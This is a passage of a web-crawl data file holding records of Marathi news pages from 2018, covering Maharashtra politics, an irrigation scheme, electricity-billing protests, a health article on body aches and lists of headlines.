मंडळाच्या अध्यक्षांनी सचिनचे कौतुक केले.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00333.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/category/lifestyle/7utsav/page/138/", "date_download": "2018-09-25T16:34:46Z", "digest": "sha1:BEGMJRTMG4Y7C6JUCCVPPKD5GMZPEV44", "length": 17426, "nlines": 263, "source_domain": "www.saamana.com", "title": "उत्सव | Saamana (सामना) | पृष्ठ 138", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nसमाजसेवेसाठी विश्वविक्रम ….मुकुंद गावडे\n<< सामना स्टार>> << नवनाथ दांडेकर >> आतापर्यंत आपण प्रत्यक्ष क्रीडांगणावर पराक्रम साकारून राज्याचे, देशाचे नाव उज्ज्वल करणाऱया क्रीडापटूंची माहिती घेतलीय. आजच्या स्तंभात आपण...\n<< दिसते त्य़ा पलिकडे >> << इद्रजीत खांबे >> Joel Meyerowitz हे स्ट्रीट फोटोग्राफीच्या इतिहासातील खूप महत्त्वाचं नाव. आज वयाच्या ८० व्या वर्षीदेखील ते अतिशय...\n<< प्रेरणा >> << अरुण नलावडे >> आयुष्याचे क्षिताजाकडे जाणाऱ्या वयात मुलांचे संगोपन, त्यांची करिअर घडवण्याचे व संपूर्ण कुटुंबाचे ओझे स्वतःच्या खांद्यावर...\n<< संवाद >> << शुभांगी बागडे >> चित्रपट अभ्यासक आणि ललित लेखक विजय पाडळकर यांचे ‘गगन समुद्री बिंबले’ हे पुस्तक राजहंस प्रकाशनातर्फे...\n<< भटकेगिरी >> << द्वारकानाथ संझगिरी >> गोरे शोमनशिप, मार्केटिंगच्या बाबतीत भयंकर हुशार आहेत. आपण त्यांच्या गुडघ्यापाशीही नाही. चांगली वस्तू आकर्षक पॅकिंगमध्ये अद्भुत कशी...\nगांधीजींचे गुरू… गोपाळ कृष्ण गोखले\n<< पैलतीर>> << डॉ. विजय ढवळे ओटावा कॅनडा >> गांधीजी घडण्यामध्ये महत्त्वाचा सहभाग होता तो गोपाळ कृष्ण गोखले यांचा. या गुरू-शिष्य नात्यावर आणि नामदार...\n<< साहित्य कट्टा >> << विजय उतेकर >> अवचित उतरण लागावी वाटेला आणि वाट गावात शिरावी समोर दोन पावलांवर घर यावं आणि घरात...\n<< अक्षय ठेवा >> << सायली राजाध्यक्ष >> निखळ आनंदाचे क्षण अनुभवताना आनंदाचं काही राहू नये, अशीच इच्छा असते. असे आपल्याला अनेकार्थांनी संपन्न...\nआत्मकथनाचा आरसा साहित्याला समाजदर्पण म्हटले जाते. या क्षेत्रात आत्मकथा हा सर्वात लोकप्रिय प्रकार आहे. कारण सत्य आणि तथ्य याला प्रत्येकापर्यंत पोहचविण्यासाठी यापेक्षा प्रभावशाली माध्यम असूच...\n<< टिवल्या - बावल्या>> << शिरीष कणेकर >> माझी मासूम जवानी जोश पे थी तब की बात (कोणी पाहिल्येय फेका काहीही. माझ्या दोन वर्षांच्या...\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00333.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/marathi-news-muktainagar-khadse-aambetula-116052", "date_download": "2018-09-25T17:42:13Z", "digest": "sha1:OOB7EOTXYVFMT54NGSTSQ6YSM6Z6YEJY", "length": 14902, "nlines": 172, "source_domain": "www.esakal.com", "title": "marathi news muktainagar khadse aambetula क्‍लिनचिट मिळाल्यानंतर समर्थकांकडून माजी मंत्री खडसेंची आंबेतुला | eSakal", "raw_content": "\nक्‍लिनचिट मिळाल्यानंतर समर्थकांकडून माजी मंत्री खडसेंची आंबेतुला\nरविवार, 13 मे 2018\nजळगाव ः माजी महसूल मंत्री एकनाथ खडसे यांना भोसरी प्रकरणात \"एसीबी'ने क्‍लिन चीट दिले आहे. दोन वर्षांपूर्वी आजच्या दिवशी सुरु झालेली तथ्यहीन आरोपांची मालिका संपल्याचा आनंद व्यक्त करण्यासाठी आज खडसे यांच्या समर्थकांनी मुक्ताईनगर येथे आंबे तुला केली. यावेळी मोठ्या संख्येने नागरिकांची उपस्थिती होती.\nजळगाव ः माजी महसूल मंत्री एकनाथ खडसे यांना भोसरी प्रकरणात \"एसीबी'ने क्‍लिन चीट दिले आहे. दोन वर्षांपूर्वी आजच्या दिवशी सुरु झालेली तथ्यहीन आरोपांची मालिका संपल्याचा आनंद व्यक्त करण्यासाठी आज खडसे यांच्या समर्थकांनी मुक्ताईनगर येथे आंबे तुला केली. यावेळी मोठ्या संख्येने नागरिकांची उपस्थिती होती.\nअंजली दमानिया यांनी माजी मंत्री एकनाथ खडसे यांच्यावर आरोप केले होते. भोसरी प्रकरणात माजी महसूल मंत्री एकनाथ खडसे यांना एसीबीने क्‍लीन चीट दिली. दोन वर्षांपूर्वी आजच्याच दिवशी म्हणजे 13 मे रोजी या तथ्यहिन आरोपांना सुरवात झाली होती. या आरोपांची मालिका संपल्याचा आनंद व्यक्त करण्यासाठी खडसे यांच्या समर्थकांनी या सोहळ्याचे आयोजन केले होते. शिवाय खडसे यांच्या स्नुषा खासदार रक्षा खडसे यांचादेखील आज वाढदिवस आहे. याचे औचित्य साधून खडसे यांची आंबे तुला करण्यात आली आहे. भाजपचे मुक्ताईनगर तालुका सरचिटणीस संदीप देशमुख यांच्यासह खडसे यांच्या समर्थकांनी मुक्ताईनगर येथे फार्महाउसवर आंबे तुला सोहळा पार पडला. यावेळी खडसे परिवार उपस्थित होता. यावेळी आमदार संजय सावकारे उपस्थित होते. तालुका अध्यक्ष संदीप देशमुख यांनी यावेळी \"नाथाभाऊ आमचा राजा आहे आणि आंबा फळांचा राजा' त्यामुळे खडसे यांच्यावरील तथ्यहीन आरोप दूर झाल्याचा आनंद या माध्यमातून व्यक्त करत असल्याची प्रतिक्रीया त्यांनी व्यक्‍त केली.\nआरोपांमधून नक्‍कीच बाहेर येणार ः खडसे\nआपल्या विरोधात 13 मे 2016 ला तथ्यहिन आरोपांची मालिका काही समाजसेविकांनी सुरु केली होती. दोन वर्ष ही मालिका सुरु होती. दाउदच्या बायकोशी दूरध्वनी वरून संभाषण, जावयाची लिमोझिन कार, पीए ने लाच घेतली अपसंपदा जमवली. यासारखे आरोप केले गेले, पण त्यात काही तथ्य नव्हते. तरीही याची नैतिक जबाबदारी स्विकारून आपण मंत्रीपदाचा राजीनामा दिला होता. त्यावेळी कार्यकर्त्यांच्या मनात चीड, संताप होता; तो आजही आहे. मात्र एसीबीने या संदर्भात अहवाल न्यायालयात सादर केला असून, त्यात क्‍लीनचीट देण्यात आले आहे. या आरोपांची मालिका संपली आणि त्याचबरोबर स्नुषा खासदार रक्षा खडसे यांचा वाढदिवसाचे औचित्य साधून कार्यकर्त्यांनी आंबा तुला केली असल्याचे खडसे यांनी सांगितले. आपले आंब्याचे याठिकाणी झाड असून मतदार संघातील नागरिक मोठ्या संखेने उपस्थित असल्याने त्यांचे प्रेम पाहून आपण भाराऊन गेलो आहोत. या आरोपांमधून आपण नक्कीच बाहेर येऊ असा विश्‍वास वाटत असल्याची प्रतिक्रिया माजी महसूल मंत्री खडसे यांनी आंबेतुला सोहळ्यानंतर व्यक्त केली आहे\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/MLA-satej-patil-strike-against-bjp/", "date_download": "2018-09-25T16:59:34Z", "digest": "sha1:BUFTBGBYU733NU3B5HM32IWOIXWUT6B2", "length": 7016, "nlines": 36, "source_domain": "www.pudhari.news", "title": " महावितरणच्या आडून भाजप सरकारचा खोटा कारभारः सतेज पाटील | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › महावितरणच्या आडून भाजप सरकारचा खोटा कारभारः सतेज पाटील\nमहावितरणच्या आडून भाजप सरकारचा खोटा कारभारः सतेज पाटील\nमहावितरणच्या माध्यमातून जास्तीचे पैसे गोळा करण्याचे काम भाजप सरकारकडून केले जात आहे. खुद्द ऊर्जामंत्र्यांनीच खोटी बिले दिल्याचे सभागृहात मान्य केले आहे. शेतकर्‍यांच्या सबसिडीसाठी दोन रुपये दर वाढवावा लागत असल्याचे उद्योजकांना एका बाजूला सांगायचे, तर दुसर्‍या बाजूला खोटे युनिट दाखवून शेतकर्‍यांनी एवढी वीज वापरली म्हणून सांगत सबसिडी उचलायची, असा धंदा सध्या जोरात सुरू आहे. या खोट्या बिलांच्या माध्यमातून सर्वसामान्यांच्या खिशातून पैसे काढण्याचे काम भाजप करत असल्याची टीका आ. सतेज पाटील यांनी केली.\nवीज दरवाढीसह प्रलंबित वीज कनेक्शन जोडणीच्या मागणीसाठी काँग्रेस व इरिगेशन फेडरेशनतर्फे महावितरणवर गुरुवारी धडक मोर्चा काढण्यात आला. दुपारी साडेबाराला दसरा चौकातून सुरू झालेला मोर्चा स्टेशन रोड, दाभोळकर कॉर्नर, अजिंक्यतारा मार्गे महावितरणवर येऊन थडकला. मोर्चाचे ताराबाई पार्कातील महावितरणच्या कार्यालयासमोरच जाहीर सभेत रूपांतर झाले.\nयावेळी आ. पाटील यांनी विजेच्या प्रश्‍नावरून शेतकरी, घरगुती व औद्योगिक ग्राहकांच्या व्यथा मांडत भाजप सरकारच्या आदेशाने महावितरणकडून सुरू असलेल्या गैरकारभाराचे वाभाडे काढले. ऊर्जामंत्री बावनकुळे यांनी हिंमत असेल तर मंत्रालय रात्री 12 ते 8 चालवून दाखवावे, असे आव्हान दिले. सत्यशोधन समितीचा अहवालही शासनाने दाबून ठेवला आहे. तो आजपर्यंत पटलावर का आला नाही, अशी विचारणा करत आमदार पाटील यांनी ‘तुम भी खाओ, मै भी खाऊ’ असा सरकार व महावितरणचा कारभार आहे, अशी टीका केली.\n•प्रमुख मागण्या : वीज दरवाढ मागे घ्यावी, जिल्ह्याला भारनियमनातून वगळावे, सत्यशोधन समिती अहवालानुसार खरा वीज वापर निश्‍चित करावा, पोकळ थकबाकी रद्द करावी, कृषी संजीवनीत दंड व्याजात सूट द्यावी, वीजवापर वाढवून होणारी बिल आकारणी थांबवावी, शेतीपंप परवाने तत्काळ द्या, डीडीएफऐवजी एनडीडीएफ योजना पूर्ववत करावी, दिवसा 10, रात्री 12 तास अखंड वीज द्या, वीज साहित्याचा बोजा शेतकर्‍यांवर टाकू नये, गुर्‍हाळघरांना दिवसा वीजपुरवठा करावा.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Shirala-Walwa-Green-revolution-possible/", "date_download": "2018-09-25T17:44:22Z", "digest": "sha1:MGS44PJQ4MFWUNVIVRC5CEUXEEJVCCXE", "length": 7116, "nlines": 40, "source_domain": "www.pudhari.news", "title": " वाकुर्डेमुळे शिराळा-वाळव्यात हरितक्रांती शक्य | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › वाकुर्डेमुळे शिराळा-वाळव्यात हरितक्रांती शक्य\nवाकुर्डेमुळे शिराळा-वाळव्यात हरितक्रांती शक्य\nशिराळा : विठ्ठल नलवडे\nयुती शासनाच्या काळामध्ये दि. 28 जानेवारी 1999 रोजी तत्कालिन उपमुख्यमंत्री गोपीनाथ मुंडे, पाटबंधारे मंत्री एकनाथ खडसे, आमदार शिवाजीराव नाईक, लोकनेते (कै.) फत्तेसिंगराव नाईक यांच्या उपस्थितीत बादेवाडी येथील कामास सुरूवात झाली. सन 2000 पर्यंत योजना पूर्ण होणार होती. परंतु त्यानंतर या योजनेत पुरेसा निधी न मिळाल्यामुळे ही योजना रखडत गेली. आता 110 कोटींची योजना 1 हजार 16 कोटींवर गेली आहे.\nया योजनेस सन 2010 मध्ये पर्यावरण विभागाची मान्यता मिळाली आहे. या योजनेसाठी ऑक्टोबर 2010 अखेर 55.29 कोटी खर्च झाला आहे. या योजनेसाठी सन 2010-11 मध्ये 10.05 कोटींची तरतूद होती.\nयोजनेसाठी टप्पा 1 व 2 च्या पंपगृहांना वीजपुरवठा करण्यासाठी रिळे उपकेंद्रातून वीज उपलब्ध झाली आहे. यासाठी 47 लाख रुपये वीज वितरण कंपनीकडे जमा झाला त्यामुळे काम पूर्ण झाले. वाकुर्डे रेड या 28 कि.मी. लांबीच्या कालव्यासाठी आता 66 कोटींची गरज आहे. बादेवाडी- बिऊर कालव्यासाठी 2.50 कोटी खर्च झाला. उर्वरित कामे पूर्ण करण्यासाठी सुमारे 12.50 कोटींची गरज आहे.\nवाकुर्डेचे पाणी खिरवडेतून, हात्तेगाव पंप हाऊसमधून कमरजाई धरणात आले, की तेथून ते मोरणा धरणात येते. त्यामुळे मोरणा धरण व त्या नदीकाठच्या लोकांना वाकुर्डेचा मोठा फायदा झाला आहे. मोरणा धरणावरील उपसाबंदी उठविण्यासाठी आमदार शिवाजीराव नाईक, रणधीर नाईक यांनी वारंवार आंदोलने केली.\nवाकुर्डे योजना पूर्ण करण्याचे भाजप-सेना सरकार पुढे आव्हान आहे. कारण केंद्रात व राज्यात भाजपचे सरकार आहे. रखडत गेलेली योजना पूर्ण करण्यासाठी सुमारे 1016.31 कोटींची गरज आहे. या योजनेची कामे कराड तालुक्यात जवळपास पूर्ण झाली आहे. मात्र शिराळा-वाळवा तालुक्यात अपूर्ण आहेत. ही कामे पूर्ण झाली तर हरितक्रांती होणार आहे. तालुक्यात बागायतीबरोबरच ऊस पिकाचे क्षेत्र वाढणार आहे.\nशिराळा-वाळवा तालुक्यामध्ये वाकुर्डे योजनेमुळे शेतकर्‍यांना मोठा दिलासा मिळणार आहे. बागायती व रब्बी क्षेत्रात मोठ्या प्रमाणात वाढ होणार आहे. वाकुर्डेचे पाणी आता कालव्याऐवजी बंद पाईपमधून मिळणार असल्यामुळे शेतकर्‍यांची जमीनही आता या योजनेत जाणार नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/lifestyle-news/health-news/dangers-will-be-risky/articleshow/65305322.cms", "date_download": "2018-09-25T18:12:25Z", "digest": "sha1:5QVYQCOEDKUDFNICSYAJA62YXH63Y3WO", "length": 10747, "nlines": 141, "source_domain": "maharashtratimes.indiatimes.com", "title": "health news News: dangers will be risky - अंगदुखी ठरेल धोकादायक | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nअंग दुखायला लागलं, की अनेकांना ताप आल्यासारखं वाटतं; पण अंगदुखीसाठी तापाव्यतिरिक्त अन्यही अनेक कारणं असू शकतात. काही वेळा या अंगदुखीकडे दुर्लक्ष करणं धोकादायक ठरू शकतं. अंगदुखीचा त्रास सुरू झाल्यास त्याकडे दुर्लक्ष करू नका.\nसांधेदुखी- या आजारात सांधे, डोकं आणि हाडं दुखायला लागतात.\nतणाव- सततच्या तणावामुळेही डोकेदुखीचा त्रास होतो. झोपेची कमतरता, थकवा, स्नायू किंवा छाती दुखावणं इत्यादी कारणांमुळे शरीरावर ताण पडतो आणि त्यातून अंगदुखीचा त्रास सुरू होतो.\nटीबी- ट्युबरक्युलॉसिस अर्थात, क्षयरोग हा तसा फुप्फुसाचा विकार आहे; पण टीबीमुळे अनेकदा शरीराच्या इतर भागांतही वेदना होतात.\nकर्करोग- सातत्यानं अतितीव्र स्वरुपातील दुखणं असल्यास ते कॅन्सरचंही लक्षण असू शकतं. कॅन्सरच्या पेशी शरीराच्या इतर भागांत पसरतात आणि त्यातून वेदना वाढतात. गाठ ः शरीराच्या एखाद्या भागात गाठ असेल, तर प्रतिकारशक्तीवर परिणाम होतो. त्यामुळे शरीरातील टीश्यूंवर सूज येते.\nडेंगू- डेंगूच्या तापामुळेही अंगदुखी वाढू शकते. डेंगुच्या तापात अंगदुखीबरोबरच डोकदुखीचाही त्रास होतो.\nटॉक्सोप्लास्मोसिस- पाळीव मांजरांमुळे होणाऱ्या टॉक्सोप्लास्मोसिस या आजारातही अंगदुखी होते.\nअधिक व्यायाम- आवश्यकतेपेक्षा अधिक व्यायाम केल्यासही स्नायू आणि सांध्यांमध्ये वेदना होतात. त्यामुळे आपल्या शरीराला मानवेल तितकाच व्यायाम करणं योग्य आहे.\nमिळवा हेल्थ वेल्थ बातम्या(health news News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\nhealth news News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nहेल्थ वेल्थ याा सुपरहिट\nतिरळेपणा आणि त्यावरील उपाय\nलहान मुलांना चष्मा का\nदारूचा एक पेगसुद्धा जीवावर बेतू शकतो\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n2आरोग्यमंत्र - अशुद्ध रक्ताची वाहिनी...\n7आरोग्यमंत्र - पुरुषांमधील वंध्यत्वः कारणे व उपचार...\n9सोडू नका अॅब्जची पाठ...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/photo-gallery/how-to-empress-a-girl-298296.html", "date_download": "2018-09-25T16:47:53Z", "digest": "sha1:WNKRLVS742UGID2MMLUCTOPMEVFS3UNN", "length": 1684, "nlines": 23, "source_domain": "lokmat.news18.com", "title": "Lokmat News - मुलींसमोर स्मार्ट दिसायचंय.. तर मग या गोष्टी कराच–News18 Lokmat", "raw_content": "\nमुलींसमोर स्मार्ट दिसायचंय.. तर मग या गोष्टी कराच\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00334.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://lokmat.news18.com/blog-space/article-94720.html", "date_download": "2018-09-25T16:50:51Z", "digest": "sha1:JGGQMFUSDIH3CYDPORLWWOYBEYBEKK2H", "length": 30039, "nlines": 135, "source_domain": "lokmat.news18.com", "title": "धोणी लकी आहे का?", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा 